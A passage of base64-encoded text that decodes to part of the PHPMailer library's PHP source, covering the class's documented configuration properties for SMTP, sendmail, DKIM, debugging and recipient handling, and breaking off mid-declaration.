nJzsNCg0KICAgIC8qKg0KICAgICAqIEFuIGlDYWwgbWVzc2FnZSBwYXJ0IGJvZHkuDQogICAgICogT25seSBzdXBwb3J0ZWQgaW4gc2ltcGxlIGFsdCBvciBhbHRfaW5saW5lIG1lc3NhZ2UgdHlwZXMNCiAgICAgKiBUbyBnZW5lcmF0ZSBpQ2FsIGV2ZW50cywgdXNlIHRoZSBidW5kbGVkIGV4dHJhcy9FYXN5UGVhc3lJQ1MucGhwIGNsYXNzIG9yIGlDYWxjcmVhdG9yDQogICAgICogQGxpbmsgaHR0cDovL3NwcmFpbi5jaC9ibG9nL2Rvd25sb2Fkcy9waHAtY2xhc3MtZWFzeXBlYXN5aWNzLWNyZWF0ZS1pY2FsLWZpbGVzLXdpdGgtcGhwLw0KICAgICAqIEBsaW5rIGh0dHA6Ly9raWdrb25zdWx0LnNlL2lDYWxjcmVhdG9yLw0KICAgICAqIEB2YXIgc3RyaW5nDQogICAgICovDQogICAgcHVibGljICRJY2FsID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaGUgY29tcGxldGUgY29tcGlsZWQgTUlNRSBtZXNzYWdlIGJvZHkuDQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQNCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqLw0KICAgIHByb3RlY3RlZCAkTUlNRUJvZHkgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoZSBjb21wbGV0ZSBjb21waWxlZCBNSU1FIG1lc3NhZ2UgaGVhZGVycy4NCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICovDQogICAgcHJvdGVjdGVkICRNSU1FSGVhZGVyID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBFeHRyYSBoZWFkZXJzIHRoYXQgY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluLg0KICAgICAqIEB2YXIgc3RyaW5nDQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQNCiAgICAgKi8NCiAgICBwcm90ZWN0ZWQgJG1haWxIZWFkZXIgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFdvcmQtd3JhcCB0aGUgbWVzc2FnZSBib2R5IHRvIHRoaXMgbnVtYmVyIG9mIGNoYXJzLg0KICAgICAqIFNldCB0byAwIHRvIG5vdCB3cmFwLiBBIHVzZWZ1bCB2YWx1ZSBoZXJlIGlzIDc4LCBmb3IgUkZDMjgyMiBzZWN0aW9uIDIuMS4xIGNvbXBsaWFuY2UuDQogICAgICogQHZhciBpbnRlZ2VyDQogICAgICovDQogICAgcHVibGljICRXb3JkV3JhcCA9IDA7DQoNCiAgICAvKioNCiAgICAgKiBXaGljaCBtZXRob2QgdG8gdXNlIHRvIHNlbmQgbWFpbC4NCiAgICAgKiBPcHRpb25zOiAibWFpbCIsICJzZW5kbWFpbCIsIG9yICJzbXRwIi4NCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyAkTWFpbGVyID0gJ21haWwnOw0KDQogICAgLyoqDQogICAgICogVGhlIHBhdGggdG8gdGhlIHNlbmRtYWlsIHByb2dyYW0uDQogICAgICogQHZhciBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgJFNlbmRtYWlsID0gJy91c3Ivc2Jpbi9zZW5kbWFpbCc7DQoNCiAgICAvKioNCiAgICAgKiBXaGV0aGVyIG1haWwoKSB1c2VzIGEgZnVsbHkgc2VuZG1haWwtY29tcGF0aWJsZSBNVEEuDQogICAgICogT25lIHdoaWNoIHN1cHBvcnRzIHNlbmRtYWlsJ3MgIi1vaSAtZiIgb3B0aW9ucy4NCiAgICAgKiBAdmFyIGJvb2xlYW4NCiAgICAgKi8NCiAgICBwdWJsaWMgJFVzZVNlbmRtYWlsT3B0aW9ucyA9IHRydWU7DQoNCiAgICAvKioNCiAgICAgKiBQYXRoIHRvIFBIUE1haWxlciBwbHVnaW5zLg0KICAgICAqIFVzZWZ1bCBpZiB0aGUgU01UUCBjbGFzcyBpcyBub3QgaW4gdGhlIFBIUCBpbmNsdWRlIHBhdGguDQogICAgICogQHZhciBzdHJpbmcNCiAgICAgKiBAZGVwcmVjYXRlZCBTaG91bGQgbm90IGJlIG5lZWRlZCBub3cgdGhlcmUgaXMgYW4gYXV0b2xvYWRlci4NCiAgICAgKi8NCiAgICBwdWJsaWMgJFBsdWdpbkRpciA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGhlIGVtYWlsIGFkZHJlc3MgdGhhdCBhIHJlYWRpbmcgY29uZmlybWF0aW9uIHNob3VsZCBiZSBzZW50IHRvLCBhbHNvIGtub3duIGFzIHJlYWQgcmVjZWlwdC4NCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyAkQ29uZmlybVJlYWRpbmdUbyA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGhlIGhvc3RuYW1lIHRvIHVzZSBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgYW5kIGFzIGRlZmF1bHQgSEVMTyBzdHJpbmcuDQogICAgICogSWYgZW1wdHksIFBIUE1haWxlciBhdHRlbXB0cyB0byBmaW5kIG9uZSB3aXRoLCBpbiBvcmRlciwNCiAgICAgKiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSwgZ2V0aG9zdG5hbWUoKSwgcGhwX3VuYW1lKCduJyksIG9yIHRoZSB2YWx1ZQ0KICAgICAqICdsb2NhbGhvc3QubG9jYWxkb21haW4nLg0KICAgICAqIEB2YXIgc3RyaW5nDQogICAgICovDQogICAgcHVibGljICRIb3N0bmFtZSA9ICcnOw0KDQogICAgLyoqDQogICAgICogQW4gSUQgdG8gYmUgdXNlZCBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIuDQogICAgICogSWYgZW1wdHksIGEgdW5pcXVlIGlkIHdpbGwgYmUgZ2VuZXJhdGVkLg0KICAgICAqIFlvdSBjYW4gc2V0IHlvdXIgb3duLCBidXQgaXQgbXVzdCBiZSBpbiB0aGUgZm9ybWF0ICI8aWRAZG9tYWluPiIsDQogICAgICogYXMgZGVmaW5lZCBpbiBSRkM1MzIyIHNlY3Rpb24gMy42LjQgb3IgaXQgd2lsbCBiZSBpZ25vcmVkLg0KICAgICAqIEBzZWUgaHR0cHM6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzUzMjIjc2VjdGlvbi0zLjYuNA0KICAgICAqIEB2YXIgc3RyaW5nDQogICAgICovDQogICAgcHVibGljICRNZXNzYWdlSUQgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoZSBtZXNzYWdlIERhdGUgdG8gYmUgdXNlZCBpbiB0aGUgRGF0ZSBoZWFkZXIuDQogICAgICogSWYgZW1wdHksIHRoZSBjdXJyZW50IGRhdGUgd2lsbCBiZSBhZGRlZC4NCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyAkTWVzc2FnZURhdGUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFNNVFAgaG9zdHMuDQogICAgICogRWl0aGVyIGEgc2luZ2xlIGhvc3RuYW1lIG9yIG11bHRpcGxlIHNlbWljb2xvbi1kZWxpbWl0ZWQgaG9zdG5hbWVzLg0KICAgICAqIFlvdSBjYW4gYWxzbyBzcGVjaWZ5IGEgZGlmZmVyZW50IHBvcnQNCiAgICAgKiBmb3IgZWFjaCBob3N0IGJ5IHVzaW5nIHRoaXMgZm9ybWF0OiBbaG9zdG5hbWU6cG9ydF0NCiAgICAgKiAoZS5nLiAic210cDEuZXhhbXBsZS5jb206MjU7c210cDIuZXhhbXBsZS5jb20iKS4NCiAgICAgKiBZb3UgY2FuIGFsc28gc3BlY2lmeSBlbmNyeXB0aW9uIHR5cGUsIGZvciBleGFtcGxlOg0KICAgICAqIChlLmcuICJ0bHM6Ly9zbXRwMS5leGFtcGxlLmNvbTo1ODc7c3NsOi8vc210cDIuZXhhbXBsZS5jb206NDY1IikuDQogICAgICogSG9zdHMgd2lsbCBiZSB0cmllZCBpbiBvcmRlci4NCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyAkSG9zdCA9ICdsb2NhbGhvc3QnOw0KDQogICAgLyoqDQogICAgICogVGhlIGRlZmF1bHQgU01UUCBzZXJ2ZXIgcG9ydC4NCiAgICAgKiBAdmFyIGludGVnZXINCiAgICAgKiBAVE9ETyBXaHkgaXMgdGhpcyBuZWVkZWQgd2hlbiB0aGUgU01UUCBjbGFzcyB0YWtlcyBjYXJlIG9mIGl0Pw0KICAgICAqLw0KICAgIHB1YmxpYyAkUG9ydCA9IDI1Ow0KDQogICAgLyoqDQogICAgICogVGhlIFNNVFAgSEVMTyBvZiB0aGUgbWVzc2FnZS4NCiAgICAgKiBEZWZhdWx0IGlzICRIb3N0bmFtZS4gSWYgJEhvc3RuYW1lIGlzIGVtcHR5LCBQSFBNYWlsZXIgYXR0ZW1wdHMgdG8gZmluZA0KICAgICAqIG9uZSB3aXRoIHRoZSBzYW1lIG1ldGhvZCBkZXNjcmliZWQgYWJvdmUgZm9yICRIb3N0bmFtZS4NCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokSG9zdG5hbWUNCiAgICAgKi8NCiAgICBwdWJsaWMgJEhlbG8gPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFdoYXQga2luZCBvZiBlbmNyeXB0aW9uIHRvIHVzZSBvbiB0aGUgU01UUCBjb25uZWN0aW9uLg0KICAgICAqIE9wdGlvbnM6ICcnLCAnc3NsJyBvciAndGxzJw0KICAgICAqIEB2YXIgc3RyaW5nDQogICAgICovDQogICAgcHVibGljICRTTVRQU2VjdXJlID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBXaGV0aGVyIHRvIGVuYWJsZSBUTFMgZW5jcnlwdGlvbiBhdXRvbWF0aWNhbGx5IGlmIGEgc2VydmVyIHN1cHBvcnRzIGl0LA0KICAgICAqIGV2ZW4gaWYgYFNNVFBTZWN1cmVgIGlzIG5vdCBzZXQgdG8gJ3RscycuDQogICAgICogQmUgYXdhcmUgdGhhdCBpbiBQSFAgPj0gNS42IHRoaXMgcmVxdWlyZXMgdGhhdCB0aGUgc2VydmVyJ3MgY2VydGlmaWNhdGVzIGFyZSB2YWxpZC4NCiAgICAgKiBAdmFyIGJvb2xlYW4NCiAgICAgKi8NCiAgICBwdWJsaWMgJFNNVFBBdXRvVExTID0gdHJ1ZTsNCg0KICAgIC8qKg0KICAgICAqIFdoZXRoZXIgdG8gdXNlIFNNVFAgYXV0aGVudGljYXRpb24uDQogICAgICogVXNlcyB0aGUgVXNlcm5hbWUgYW5kIFBhc3N3b3JkIHByb3BlcnRpZXMuDQogICAgICogQHZhciBib29sZWFuDQogICAgICogQHNlZSBQSFBNYWlsZXI6OiRVc2VybmFtZQ0KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokUGFzc3dvcmQNCiAgICAgKi8NCiAgICBwdWJsaWMgJFNNVFBBdXRoID0gZmFsc2U7DQoNCiAgICAvKioNCiAgICAgKiBPcHRpb25zIGFycmF5IHBhc3NlZCB0byBzdHJlYW1fY29udGV4dF9jcmVhdGUgd2hlbiBjb25uZWN0aW5nIHZpYSBTTVRQLg0KICAgICAqIEB2YXIgYXJyYXkNCiAgICAgKi8NCiAgICBwdWJsaWMgJFNNVFBPcHRpb25zID0gYXJyYXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFNNVFAgdXNlcm5hbWUuDQogICAgICogQHZhciBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgJFVzZXJuYW1lID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBTTVRQIHBhc3N3b3JkLg0KICAgICAqIEB2YXIgc3RyaW5nDQogICAgICovDQogICAgcHVibGljICRQYXNzd29yZCA9ICcnOw0KDQogICAgLyoqDQogICAgICogU01UUCBhdXRoIHR5cGUuDQogICAgICogT3B0aW9ucyBhcmUgQ1JBTS1NRDUsIExPR0lOLCBQTEFJTiwgTlRMTSwgWE9BVVRIMiwgYXR0ZW1wdGVkIGluIHRoYXQgb3JkZXIgaWYgbm90IHNwZWNpZmllZA0KICAgICAqIEB2YXIgc3RyaW5nDQogICAgICovDQogICAgcHVibGljICRBdXRoVHlwZSA9ICcnOw0KDQogICAgLyoqDQogICAgICogU01UUCByZWFsbS4NCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgNCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyAkUmVhbG0gPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFNNVFAgd29ya3N0YXRpb24uDQogICAgICogVXNlZCBmb3IgTlRMTSBhdXRoDQogICAgICogQHZhciBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgJFdvcmtzdGF0aW9uID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaGUgU01UUCBzZXJ2ZXIgdGltZW91dCBpbiBzZWNvbmRzLg0KICAgICAqIERlZmF1bHQgb2YgNSBtaW51dGVzICgzMDBzZWMpIGlzIGZyb20gUkZDMjgyMSBzZWN0aW9uIDQuNS4zLjINCiAgICAgKiBAdmFyIGludGVnZXINCiAgICAgKi8NCiAgICBwdWJsaWMgJFRpbWVvdXQgPSAzMDA7DQoNCiAgICAvKioNCiAgICAgKiBTTVRQIGNsYXNzIGRlYnVnIG91dHB1dCBtb2RlLg0KICAgICAqIERlYnVnIG91dHB1dCBsZXZlbC4NCiAgICAgKiBPcHRpb25zOg0KICAgICAqICogYDBgIE5vIG91dHB1dA0KICAgICAqICogYDFgIENvbW1hbmRzDQogICAgICogKiBgMmAgRGF0YSBhbmQgY29tbWFuZHMNCiAgICAgKiAqIGAzYCBBcyAyIHBsdXMgY29ubmVjdGlvbiBzdGF0dXMNCiAgICAgKiAqIGA0YCBMb3ctbGV2ZWwgZGF0YSBvdXRwdXQNCiAgICAgKiBAdmFyIGludGVnZXINCiAgICAgKiBAc2VlIFNNVFA6OiRkb19kZWJ1Zw0KICAgICAqLw0KICAgIHB1YmxpYyAkU01UUERlYnVnID0gMDsNCg0KICAgIC8qKg0KICAgICAqIEhvdyB0byBoYW5kbGUgZGVidWcgb3V0cHV0Lg0KICAgICAqIE9wdGlvbnM6DQogICAgICogKiBgZWNob2AgT3V0cHV0IHBsYWluLXRleHQgYXMtaXMsIGFwcHJvcHJpYXRlIGZvciBDTEkNCiAgICAgKiAqIGBodG1sYCBPdXRwdXQgZXNjYXBlZCwgbGluZSBicmVha3MgY29udmVydGVkIHRvIGA8YnI+YCwgYXBwcm9wcmlhdGUgZm9yIGJyb3dzZXIgb3V0cHV0DQogICAgICogKiBgZXJyb3JfbG9nYCBPdXRwdXQgdG8gZXJyb3IgbG9nIGFzIGNvbmZpZ3VyZWQgaW4gcGhwLmluaQ0KICAgICAqDQogICAgICogQWx0ZXJuYXRpdmVseSwgeW91IGNhbiBwcm92aWRlIGEgY2FsbGFibGUgZXhwZWN0aW5nIHR3byBwYXJhbXM6IGEgbWVzc2FnZSBzdHJpbmcgYW5kIHRoZSBkZWJ1ZyBsZXZlbDoNCiAgICAgKiA8Y29kZT4NCiAgICAgKiAkbWFpbC0+RGVidWdvdXRwdXQgPSBmdW5jdGlvbigkc3RyLCAkbGV2ZWwpIHtlY2hvICJkZWJ1ZyBsZXZlbCAkbGV2ZWw7IG1lc3NhZ2U6ICRzdHIiO307DQogICAgICogPC9jb2RlPg0KICAgICAqIEB2YXIgc3RyaW5nfGNhbGxhYmxlDQogICAgICogQHNlZSBTTVRQOjokRGVidWdvdXRwdXQNCiAgICAgKi8NCiAgICBwdWJsaWMgJERlYnVnb3V0cHV0ID0gJ2VjaG8nOw0KDQogICAgLyoqDQogICAgICogV2hldGhlciB0byBrZWVwIFNNVFAgY29ubmVjdGlvbiBvcGVuIGFmdGVyIGVhY2ggbWVzc2FnZS4NCiAgICAgKiBJZiB0aGlzIGlzIHNldCB0byB0cnVlIHRoZW4gdG8gY2xvc2UgdGhlIGNvbm5lY3Rpb24NCiAgICAgKiByZXF1aXJlcyBhbiBleHBsaWNpdCBjYWxsIHRvIHNtdHBDbG9zZSgpLg0KICAgICAqIEB2YXIgYm9vbGVhbg0KICAgICAqLw0KICAgIHB1YmxpYyAkU01UUEtlZXBBbGl2ZSA9IGZhbHNlOw0KDQogICAgLyoqDQogICAgICogV2hldGhlciB0byBzcGxpdCBtdWx0aXBsZSB0byBhZGRyZXNzZXMgaW50byBtdWx0aXBsZSBtZXNzYWdlcw0KICAgICAqIG9yIHNlbmQgdGhlbSBhbGwgaW4gb25lIG1lc3NhZ2UuDQogICAgICogT25seSBzdXBwb3J0ZWQgaW4gYG1haWxgIGFuZCBgc2VuZG1haWxgIHRyYW5zcG9ydHMsIG5vdCBpbiBTTVRQLg0KICAgICAqIEB2YXIgYm9vbGVhbg0KICAgICAqLw0KICAgIHB1YmxpYyAkU2luZ2xlVG8gPSBmYWxzZTsNCg0KICAgIC8qKg0KICAgICAqIFN0b3JhZ2UgZm9yIGFkZHJlc3NlcyB3aGVuIFNpbmdsZVRvIGlzIGVuYWJsZWQuDQogICAgICogQHZhciBhcnJheQ0KICAgICAqIEBUT0RPIFRoaXMgc2hvdWxkIHJlYWxseSBub3QgYmUgcHVibGljDQogICAgICovDQogICAgcHVibGljICRTaW5nbGVUb0FycmF5ID0gYXJyYXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFdoZXRoZXIgdG8gZ2VuZXJhdGUgVkVSUCBhZGRyZXNzZXMgb24gc2VuZC4NCiAgICAgKiBPbmx5IGFwcGxpY2FibGUgd2hlbiBzZW5kaW5nIHZpYSBTTVRQLg0KICAgICAqIEBsaW5rIGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1ZhcmlhYmxlX2VudmVsb3BlX3JldHVybl9wYXRoDQogICAgICogQGxpbmsgaHR0cDovL3d3dy5wb3N0Zml4Lm9yZy9WRVJQX1JFQURNRS5odG1sIFBvc3RmaXggVkVSUCBpbmZvDQogICAgICogQHZhciBib29sZWFuDQogICAgICovDQogICAgcHVibGljICRkb192ZXJwID0gZmFsc2U7DQoNCiAgICAvKioNCiAgICAgKiBXaGV0aGVyIHRvIGFsbG93IHNlbmRpbmcgbWVzc2FnZXMgd2l0aCBhbiBlbXB0eSBib2R5Lg0KICAgICAqIEB2YXIgYm9vbGVhbg0KICAgICAqLw0KICAgIHB1YmxpYyAkQWxsb3dFbXB0eSA9IGZhbHNlOw0KDQogICAgLyoqDQogICAgICogVGhlIGRlZmF1bHQgbGluZSBlbmRpbmcuDQogICAgICogQG5vdGUgVGhlIGRlZmF1bHQgcmVtYWlucyAiXG4iLiBXZSBmb3JjZSBDUkxGIHdoZXJlIHdlIGtub3cNCiAgICAgKiAgICAgICAgaXQgbXVzdCBiZSB1c2VkIHZpYSBzZWxmOjpDUkxGLg0KICAgICAqIEB2YXIgc3RyaW5nDQogICAgICovDQogICAgcHVibGljICRMRSA9ICJcbiI7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIHNlbGVjdG9yLg0KICAgICAqIEB2YXIgc3RyaW5nDQogICAgICovDQogICAgcHVibGljICRES0lNX3NlbGVjdG9yID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIElkZW50aXR5Lg0KICAgICAqIFVzdWFsbHkgdGhlIGVtYWlsIGFkZHJlc3MgdXNlZCBhcyB0aGUgc291cmNlIG9mIHRoZSBlbWFpbC4NCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyAkREtJTV9pZGVudGl0eSA9ICcnOw0KDQogICAgLyoqDQogICAgICogREtJTSBwYXNzcGhyYXNlLg0KICAgICAqIFVzZWQgaWYgeW91ciBrZXkgaXMgZW5jcnlwdGVkLg0KICAgICAqIEB2YXIgc3RyaW5nDQogICAgICovDQogICAgcHVibGljICRES0lNX3Bhc3NwaHJhc2UgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIERLSU0gc2lnbmluZyBkb21haW4gbmFtZS4NCiAgICAgKiBAZXhhbXBsZSAnZXhhbXBsZS5jb20nDQogICAgICogQHZhciBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgJERLSU1fZG9tYWluID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIHByaXZhdGUga2V5IGZpbGUgcGF0aC4NCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIHByaXZhdGUga2V5IHN0cmluZy4NCiAgICAgKiBJZiBzZXQsIHRha2VzIHByZWNlZGVuY2Ugb3ZlciBgJERLSU1fcHJpdmF0ZWAuDQogICAgICogQHZhciBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgJERLSU1fcHJpdmF0ZV9zdHJpbmcgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIENhbGxiYWNrIEFjdGlvbiBmdW5jdGlvbiBuYW1lLg0KICAgICAqDQogICAgICogVGhlIGZ1bmN0aW9uIHRoYXQgaGFuZGxlcyB0aGUgcmVzdWx0IG9mIHRoZSBzZW5kIGVtYWlsIGFjdGlvbi4NCiAgICAgKiBJdCBpcyBjYWxsZWQgb3V0IGJ5IHNlbmQoKSBmb3IgZWFjaCBlbWFpbCBzZW50Lg0KICAgICAqDQogICAgICogVmFsdWUgY2FuIGJlIGFueSBwaHAgY2FsbGFibGU6IGh0dHA6Ly93d3cucGhwLm5ldC9pc19jYWxsYWJsZQ0KICAgICAqDQogICAgICogUGFyYW1ldGVyczoNCiAgICAgKiAgIGJvb2xlYW4gJHJlc3VsdCAgICAgICAgcmVzdWx0IG9mIHRoZSBzZW5kIGFjdGlvbg0KICAgICAqICAgYXJyYXkgICAkdG8gICAgICAgICAgICBlbWFpbCBhZGRyZXNzZXMgb2YgdGhlIHJlY2lwaWVudHMNCiAgICAgKiAgIGFycmF5ICAgJGNjICAgICAgICAgICAgY2MgZW1haWwgYWRkcmVzc2VzDQogICAgICogICBhcnJheSAgICRiY2MgICAgICAgICAgIGJjYyBlbWFpbCBhZGRyZXNzZXMNCiAgICAgKiAgIHN0cmluZyAgJHN1YmplY3QgICAgICAgdGhlIHN1YmplY3QNCiAgICAgKiAgIHN0cmluZyAgJGJvZHkgICAgICAgICAgdGhlIGVtYWlsIGJvZHkNCiAgICAgKiAgIHN0cmluZyAgJGZyb20gICAgICAgICAgZW1haWwgYWRkcmVzcyBvZiBzZW5kZXINCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyAkYWN0aW9uX2Z1bmN0aW9uID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBXaGF0IHRvIHB1dCBpbiB0aGUgWC1NYWlsZXIgaGVhZGVyLg0KICAgICAqIE9wdGlvbnM6IEFuIGVtcHR5IHN0cmluZyBmb3IgUEhQTWFpbGVyIGRlZmF1bHQsIHdoaXRlc3BhY2UgZm9yIG5vbmUsIG9yIGEgc3RyaW5nIHRvIHVzZQ0KICAgICAqIEB2YXIgc3RyaW5nDQogICAgICovDQogICAgcHVibGljICRYTWFpbGVyID0gJyAnOw0KDQogICAgLyoqDQogICAgICogV2hpY2ggdmFsaWRhdG9yIHRvIHVzZSBieSBkZWZhdWx0IHdoZW4gdmFsaWRhdGluZyBlbWFpbCBhZGRyZXNzZXMuDQogICAgICogTWF5IGJlIGEgY2FsbGFibGUgdG8gaW5qZWN0IHlvdXIgb3duIHZhbGlkYXRvciwgYnV0IHRoZXJlIGFyZSBzZXZlcmFsIGJ1aWx0LWluIHZhbGlkYXRvcnMuDQogICAgICogQHNlZSBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygpDQogICAgICogQHZhciBzdHJpbmd8Y2FsbGFibGUNCiAgICAgKiBAc3RhdGljDQogICAgICovDQogICAgcHVibGljIHN0YXRpYyAkdmFsaWRhdG9yID0gJ2F1dG8nOw0KDQogICAgLyoqDQogICAgICogQW4gaW5zdGFuY2Ugb2YgdGhlIFNNVFAgc2VuZGVyIGNsYXNzLg0KICAgICAqIEB2YXIgU01UUA0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICovDQogICAgcHJvdGVjdGVkICRzbXRwID0gbnVsbDsNCg0KICAgIC8qKg0KICAgICAqIFRoZSBhcnJheSBvZiAndG8nIG5hbWVzIGFuZCBhZGRyZXNzZXMuDQogICAgICogQHZhciBhcnJheQ0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICovDQogICAgcHJvdGVjdGVkICR0byA9IGFycmF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2NjJyBuYW1lcyBhbmQgYWRkcmVzc2VzLg0KICAgICAqIEB2YXIgYXJyYXkNCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZA0KICAgICAqLw0KICAgIHByb3RlY3RlZCAkY2MgPSBhcnJheSgpOw0KDQogICAgLyoqDQogICAgICogVGhlIGFycmF5IG9mICdiY2MnIG5hbWVzIGFuZCBhZGRyZXNzZXMuDQogICAgICogQHZhciBhcnJheQ0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICovDQogICAgcHJvdGVjdGVkICRiY2MgPSBhcnJheSgpOw0KDQogICAgLyoqDQogICAgICogVGhlIGFycmF5IG9mIHJlcGx5LXRvIG5hbWVzIGFuZCBhZGRyZXNzZXMuDQogICAgICogQHZhciBhcnJheQ0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICovDQogICAgcHJvdGVjdGVkICRSZXBseVRvID0gYXJyYXkoKTsNCg0KICAgIC8qKg0KICAgICAqIEFuIGFycmF5IG9mIGFsbCBraW5kcyBvZiBhZGRyZXNzZXMuDQogICAgICogSW5jbHVkZXMgYWxsIG9mICR0bywgJGNjLCAkYmNjDQogICAgICogQHZhciBhcnJheQ0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICogQHNlZSBQSFBNYWlsZXI6OiR0byBAc2VlIFBIUE1haWxlcjo6JGNjIEBzZWUgUEhQTWFpbGVyOjokYmNjDQogICAgICovDQogICAgcHJvdGVjdGVkICRhbGxfcmVjaXBpZW50cyA9IGFycmF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBBbiBhcnJheSBvZiBuYW1lcyBhbmQgYWRkcmVzc2VzIHF1ZXVlZCBmb3IgdmFsaWRhdGlvbi4NCiAgICAgKiBJbiBzZW5kKCksIHZhbGlkIGFuZCBub24gZHVwbGljYXRlIGVudHJpZXMgYXJlIG1vdmVkIHRvICRhbGxfcmVjaXBpZW50cw0KICAgICAqIGFuZCBvbmUgb2YgJHRvLCAkY2MsIG9yICRiY2MuDQogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4NCiAgICAgKiBAdmFyIGFycmF5DQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQNCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MNCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JGFsbF9yZWNpcGllbnRzDQogICAgICovDQogICAgcHJvdGVjdGVkICRSZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOw0KDQogICAgLyoqDQogICAgICogQW4gYXJyYXkgb2YgcmVwbHktdG8gbmFtZXMgYW5kIGFkZHJlc3NlcyBxdWV1ZWQgZm9yIHZhbGlkYXRpb24uDQogICAgICogSW4gc2VuZCgpLCB2YWxpZCBhbmQgbm9uIGR1cGxpY2F0ZSBlbnRyaWVzIGFyZSBtb3ZlZCB0byAkUmVwbHlUby4NCiAgICAgKiBUaGlzIGFycmF5IGlzIHVzZWQgb25seSBmb3IgYWRkcmVzc2VzIHdpdGggSUROLg0KICAgICAqIEB2YXIgYXJyYXkNCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZA0KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokUmVwbHlUbw0KICAgICAqLw0KICAgIHByb3RlY3RlZCAkUmVwbHlUb1F1ZXVlID0gYXJyYXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFRoZSBhcnJheSBvZiBhdHRhY2htZW50cy4NCiAgICAgKiBAdmFyIGFycmF5DQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQNCiAgICAgKi8NCiAgICBwcm90ZWN0ZWQgJGF0dGFjaG1lbnQgPSBhcnJheSgpOw0KDQogICAgLyoqDQogICAgICogVGhlIGFycmF5IG9mIGN1c3RvbSBoZWFkZXJzLg0KICAgICAqIEB2YXIgYXJyYXkNCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZA0KICAgICAqLw0KICAgIHByb3RlY3RlZCAkQ3VzdG9tSGVhZGVyID0gYXJyYXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFRoZSBtb3N0IHJlY2VudCBNZXNzYWdlLUlEIChpbmNsdWRpbmcgYW5ndWxhciBicmFja2V0cykuDQogICAgICogQHZhciBzdHJpbmcNCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZA0KICAgICAqLw0KICAgIHByb3RlY3RlZCAkbGFzdE1lc3NhZ2VJRCA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGhlIG1lc3NhZ2UncyBNSU1FIHR5cGUuDQogICAgICogQHZhciBzdHJpbmcNCiAgICAgKiBAYWNjZXNzIHByb3RlY3